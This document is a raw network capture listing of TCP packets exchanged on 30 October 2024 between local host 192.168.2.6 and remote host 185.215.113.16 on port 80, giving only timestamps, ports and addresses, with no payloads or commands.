Oct 30, 2024 05:24:26.094672918 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.094707966 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.094719887 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.094763994 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.094775915 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.094788074 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.094791889 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.094854116 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.094865084 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.094877005 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.094877958 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.094887972 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.094892025 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.094901085 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.094913960 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.094922066 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.094980001 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.094995975 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.095000029 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.095007896 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.095015049 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.095021009 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.095032930 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.095048904 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.095060110 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.095072985 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.095072985 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.095109940 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.095233917 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.095246077 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.095256090 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.095266104 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.095276117 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.095288038 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.095290899 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.095297098 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.095300913 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.095319033 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.095331907 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.095339060 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.095351934 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.095364094 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.095374107 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.095375061 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.095386028 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.095395088 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.095825911 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.112864017 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.112884045 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.112895966 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.112919092 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.112955093 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.112984896 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.112996101 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.113007069 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.113018036 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.113032103 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.113084078 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.113095045 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.113104105 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.113106966 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.113118887 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.113128901 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.113140106 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.113141060 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.113193989 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.113262892 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.113274097 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.113291025 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.113302946 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.113315105 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.113317013 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.113326073 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.113336086 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.113344908 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.113358021 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.113496065 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.113507032 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.113517046 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.113544941 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.113555908 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.113569975 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.113569975 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.113571882 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.113583088 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.113594055 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.113604069 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.113605976 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.113617897 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.113625050 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.113630056 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.113648891 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.113656998 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.113668919 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.113676071 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.113681078 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.113697052 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.113708019 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.113717079 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.113718033 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.113766909 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.113766909 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.153497934 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.153508902 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.153520107 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.153645039 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.154946089 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.154962063 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.154977083 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.155080080 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.168909073 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.168920040 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.168931007 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.168971062 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.169127941 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.169138908 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.169148922 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.169187069 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.169203043 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.169203043 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.169210911 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.169223070 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.169231892 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.169250011 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.169284105 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.169296026 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.169306993 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.169308901 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.169420958 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.169744968 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.169809103 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.169826031 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.169828892 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.169838905 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.169862986 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.169879913 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.169883013 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.169889927 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.169903994 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.169908047 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.169924021 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.169928074 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.169939041 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.169950008 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.169970989 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.170377970 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.209775925 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.209804058 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.209815025 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.209856033 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.209867954 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.209878922 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.209881067 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.209903002 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.209939003 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.209948063 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.209959984 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.209970951 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.210004091 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.210024118 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.210028887 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.210042000 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.210050106 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.210338116 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.210359097 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.210362911 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.210375071 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.210453987 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.210464954 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.210464954 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.210478067 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.210499048 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.210581064 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.210593939 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.210598946 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.210628033 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.210648060 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.210661888 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.210674047 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.210700035 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.210711956 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.210722923 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.210724115 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.210736990 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.210743904 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.210752964 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.210756063 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.210789919 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.210803032 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.210810900 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.210829020 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.210839987 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.210848093 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.210851908 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.210939884 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.210959911 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.210988045 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.210999966 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.211030960 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.211042881 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.211050987 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.211055994 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.211226940 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.232089996 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.232109070 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.232134104 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.232156992 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.232160091 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.232173920 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.232181072 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.232187033 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.232199907 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.232219934 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.232275963 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.232332945 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.232359886 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.232371092 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.232382059 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.232394934 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.232405901 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.232415915 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.232434988 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.232445955 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.232446909 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.232445955 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.232460022 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.232471943 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.232477903 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.232532978 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.232542992 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.232553959 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.232554913 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.232652903 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.232664108 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.232664108 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.232677937 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.232760906 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.232925892 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.232938051 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.232959032 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.232979059 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.232990980 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.233000040 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.233004093 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.233017921 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.233023882 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.233050108 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.233059883 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.233068943 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.233093977 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.233104944 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.233114958 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.233316898 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.233328104 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.233338118 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.233354092 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.233366013 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.233376026 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.233376026 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.233390093 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.233398914 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.233402014 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.233422041 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.233501911 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.233514071 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.233525038 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.233545065 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.233572960 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.233608007 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.233619928 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.233637094 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.233656883 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.273075104 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.273088932 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.273101091 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.273135900 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.273160934 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.274229050 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.274249077 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.274262905 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.274275064 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.274296999 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.274336100 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.288007021 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.288017988 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.288028955 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.288048029 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.288054943 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.288094044 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.288316011 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.288352013 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.288364887 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.288393974 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.288429976 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.288441896 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.288454056 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.288480043 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.288480997 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.288494110 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.288506031 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.288512945 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.288518906 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.288532019 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.288542032 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.288585901 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.288836956 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.288867950 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.288880110 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.288907051 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.288934946 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.288999081 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.289011955 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.289037943 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.289047956 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.289050102 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.289061069 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.289072037 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.289098024 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.289119005 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.289119959 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.289186001 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.289196968 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.289206982 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.289232969 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.289258957 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.329237938 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.329276085 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.329298019 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.329314947 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.329319954 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.329329014 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.329339981 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.329349995 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.329349041 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.329360962 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.329371929 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.329377890 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.329384089 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.329395056 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.329411983 CET	49760	80	192.168.2.6	185.215.113.16
